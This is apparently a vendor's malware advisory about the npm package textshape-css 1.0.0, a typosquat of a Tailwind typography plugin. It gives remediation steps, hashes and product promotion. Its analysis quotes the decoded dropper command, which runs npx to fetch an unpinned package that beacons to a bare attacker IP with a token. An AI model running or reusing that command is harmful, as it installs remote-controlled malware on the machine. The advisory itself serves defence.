Which versions of textshape-css are malicious?

The following npm versions of textshape-css are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate textshape-css if I installed it?

textshape-css is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed textshape-css — how do I know if it already compromised me?

If textshape-css was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is textshape-css part of a known attack campaign?

Yes — textshape-css is associated with the IN-MAL-2026-007534, GHSA-pmmh-8m34-xxwh campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find textshape-css across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for textshape-css (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging textshape-css across your stack and pipelines.

Malicious package

textshape-cssnpm

textshape-css is a confirmed malicious npm package (MAL-2026-6475) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in textshape-css (npm)

MAL-2026-6475

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall textshape-css

What this malware does

The package presents itself as a Tailwind CSS typography plugin (its name, description, and source tree clone @tailwindcss/typography), but src/index.js appends an obfuscated payload that runs at module load. Char-code arrays at the bottom of src/index.js decode to child_process, spawn/exec, /bin/sh, and the command npx -y runtimedev-link@latest --token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9". A trailing _.y(); invokes this immediately whenever any consumer does require('textshape-css') / import 'textshape-css'. On POSIX it spawns /bin/sh -c 'nohup... >/dev/null 2>&1' detached with stdio ignored; on Windows it goes via child_process.exec with windowsHide. The effect is to fetch and run an unpinned third-party npm package (runtimedev-link@latest) that beacons to a bare IP (194.11.226.41:4000) over plain HTTP with an attacker-supplied token — a remote-code-execution dropper. The package name and description are a near-verbatim typosquat of @tailwindcss/typography, targeting developers searching for that plugin.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60

65fa392a5abf97b05b32644b1085e63b26e3ea3e765e0cda6ab180e1593a0d95

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for textshape-css (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging textshape-css across your stack and pipelines.
If you installed it — respond
textshape-css is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If textshape-css was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks textshape-css before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. textshape-css on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007534GHSA-pmmh-8m34-xxwh

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks textshape-css-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database